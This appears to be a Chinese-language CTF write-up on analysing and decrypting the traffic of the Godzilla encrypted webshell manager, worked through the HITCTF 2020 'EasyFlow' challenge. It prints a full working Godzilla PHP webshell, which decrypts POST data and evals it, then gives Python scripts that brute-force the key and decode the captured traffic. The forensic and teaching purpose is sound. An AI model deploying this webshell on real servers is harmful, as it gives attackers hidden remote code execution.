Godzilla流量分析

本文最后更新于:September 14, 2021

Godzillas是一个加密webshell管理器,类似于冰蝎,发布于hw时期,由于流量加密,其原有行为无法直接获取,需要逆向其加密流程。

以HITCTF 2020的Traffic 为例子。
流量附件:EasyFlow.zip
HINT:

1
key = [a-z]{5} 

首先看流量,可以在header中看到很明显的特征:tools: Godzilla

同时,请求包和返回包均存在加密,无法直接获取到原文。

先使用Godzilla生成一个php版本的webshell,此时存在两种方式:

  • PHP_XOR_BASE64
  • PHP_XOR_RAW

根据官方介绍,Raw or Base64 加密器区别仅在于加密后的数据是否进行base64编码。

PHP_XOR_BASE64模式生成一个webshell,需要填写两个参数passkey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
/*
解密函数
16位循环异或
*/
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='shell';//密码,即pass
$V='payload';
$T='3da39cba19f0ec58';//密钥,godzilla生成,即key生成的
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));//解密shellcode
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);//初始化session中的shellcode
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T)); //shellcode运行输出
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}

根据webshell的代码,我们可以确定获取到连接的密码是POST请求中的参数,异或加密解密的密钥未知,获得密钥即可解密流量。
而我们填入的key在webshell代码中,密钥变成了一串十六进制字符。
这时候就需要逆向一下Godzilla,看看webshell是如何生成的。
GitHub上有别的大师傅逆向好的源码:https://github.com/Freakboy/Godzilla

定位到密钥生成的函数

1
2
3
public byte[] generate(String password, String secretKey) {
return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
}

规则:$T = md5(key)[:16]

再看webshell,输出内容分为三部分:

  1. MD5( 密码 + 密钥)的前十六位
  2. shellcode运行结果
  3. MD5( 密码 + 密钥)的后十六位

所以,我们可以根据返回包的内容,获取到MD5( 密码 + 密钥)的hash值,其中密码是不保密的,密钥的生成规则已知,而爆破密钥的时间复杂度过高,需要直接去爆破key,爆破出key后即可根据异或的规则对流量进行解密。

根据返回包提取hash值时,流量中的返回包并不是完全按照返上述规则返回的,而是在前后均有多余字符输出进行混淆。

随意找三组流量:

1
2
3
62b6344331240ed210fc02b6e48963b6c10f232f1dBlYQCg==c35fb0ae023d6c7e3x7g94r4c8
a023459c3a30e3ae186b8963b6c10f232f1dKFc5X1VQDFBTVVtEV3gxEQYlDAo=c35fb0ae023d6c7er23ed8qy4bhxc3i
b01b7865904ec70576a052dd25918963b6c10f232f1dPQoPW1BeWl4=c35fb0ae023d6c7e2al0jquhu5c0kvf

由于存在混淆,前十六位hash的起始位置我们不好确定,而后16位hash,由于base64编码后的串可能会以=结尾,所以=后面十六位即为后十六位hash值。此处是c35fb0ae023d6c7e

再确定先十六位hash,由于hash值不变, 所以多找几组流量,提取前面长度为16的最长公共子串即可。

1
2
3
4
5
6
7
8
9
In [2]: a="62b6344331240ed210fc02b6e48963b6c10f232f1dBlYQCg=="

In [3]: b="a023459c3a30e3ae186b8963b6c10f232f1dKFc5X1VQDFBTVVtEV3gxEQYlDAo="

In [4]: for i in range(50-17):
...: if a[i:i+16] in b:
...: print(a[i:i+16])
...:
8963b6c10f232f1d

组合一下,hash值为:8963b6c10f232f1dc35fb0ae023d6c7e
然后爆破key,根据提示,范围为:[a-z]{5}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-*- encoding:utf-8 -*-

import hashlib
import string
import itertools


def md5(s):
return hashlib.md5(s.encode("utf-8")).hexdigest()


if __name__ == '__main__':
pw = "shell"
s = "8963b6c10f232f1dc35fb0ae023d6c7e"
for k in itertools.product(string.ascii_lowercase, repeat=5):
key = "".join(k)
c = md5(pw + md5(key)[:16])
if c == s:
print(key)
# toolx

爆破出key以后,就可以根据规则计算出加密解密使用的密钥,然后对流量进行解密了。

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#-*- encoding:utf-8 -*-
import hashlib
import string
import itertools
import base64
import re
from urllib.parse import unquote


def md5(s):
return hashlib.md5(s.encode("utf-8")).hexdigest()


def get_key(pw, s):
for k in itertools.product(string.ascii_lowercase, repeat=5):
key = "".join(k)
c = md5(pw + md5(key)[:16])
if c == s:
return key


class Godzilla(object):
def __init__(self, pw, key, md5key=False):
super(Godzilla, self).__init__()
self.pw = pw
if md5key:
self.key = key
else:
self.key = md5(key)[:16]

findStrMd5 = md5(self.pw + self.key)
self.findStrLeft = findStrMd5[:16]
self.findStrRight = findStrMd5[16:]

def findStr(self, t):
s = re.search(self.findStrLeft + "(.*?)" + self.findStrRight, t)
if s:
return s.group(1)
else:
return t

def decode(self, s):
s = self.findStr(unquote(s))
s = base64.b64decode(s)
r = []

for i in range(len(s)):
k = s[i] ^ ord(self.key[i + 1 & 0xF])
r.append(k)
return base64.b64decode("".join(map(lambda x: chr(x), r))).decode('utf-8')

def decodeResponse(self, s):
return self.decode(s)

def decodeRequest(self, s):
s = self.decode(s)
# request body like: cmdLine=a2V577yaSDFUQGN0ZiB8fCBpZA==&methodName=ZXhlY0NvbW1hbmQ=
s = s.strip().split("&")
body = ""
for param in s:
p = list(filter(lambda x: x, param.split("=")))
if len(p) == 1:
body += p[0] + "=&"
elif len(p) == 2:
body += p[0] + "=" + base64.urlsafe_b64decode(p[1] + '=' * (4 - len(p[1]) % 4)).decode('utf-8') + "&"
return body[:-1]


if __name__ == '__main__':
g = Godzilla('shell', 'toolx')
#g = Godzilla('shell', 'eddc7695c7f8260c', md5key=True)

c1 = "e652b80c3742f207051c4a0764f7078963b6c10f232f1dMiMLR1VAdxNUH3paf3c5Fj0zAER/fn9SUyV6B1QDNgIGCTVbbHp3C34hTF5TYyFVBh0hXGxuexpSPnoCf3cPVSgNIWJXfmAEVlRuB393Dx8tIwtHbH5nD1UPekJUWSFVBSM2UGxhXQ9uVW4CbGcyAj1WWkNUbnMWbSV9Wn9jJg0tNVN8YG1/JFRUanpgXRc8KTdaXWNhYwpTDH4DbAI1LzIgD2VSbFEvVSJ2d2cDJSAAMTl1bFJzJHoycndscxcLPgoxTVNuezNuV25aZ2Q1UQEPG3F7VXwUZQtIWmR0Oh0BIQ9kbwhRFGNWT0hUWyUuMFUHQlR+VlpnNwUPc35fb0ae023d6c7eojw1rwjv3x6bnmgn"
print(g.decodeResponse(c1))
c2 = 'PVZSXGJ%2BWRZtMglae1w6VCoeBwJvb3smZQpuYGQAVxIzCQ90eX5vJ2YIelNnZFNcLglSW1J%2BXRVtIw1aVGc2XDMIC1hUf14UYwhiW2BKJQo9CVJlZmgIXg%3D%3D&5Ye66aKY5Lq66K+077ya6KaB5LuU57uG5YiG5p6Q5rWB6YeP5ZOm77yB'
print(g.decodeRequest(c2))

2021.09.14更新
Godzillas最新版(v3.03)对发送以及返回流量增加了gzip压缩,流量部分在上述基础上需要在解密后进行gzip解压才能获得明文流量。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!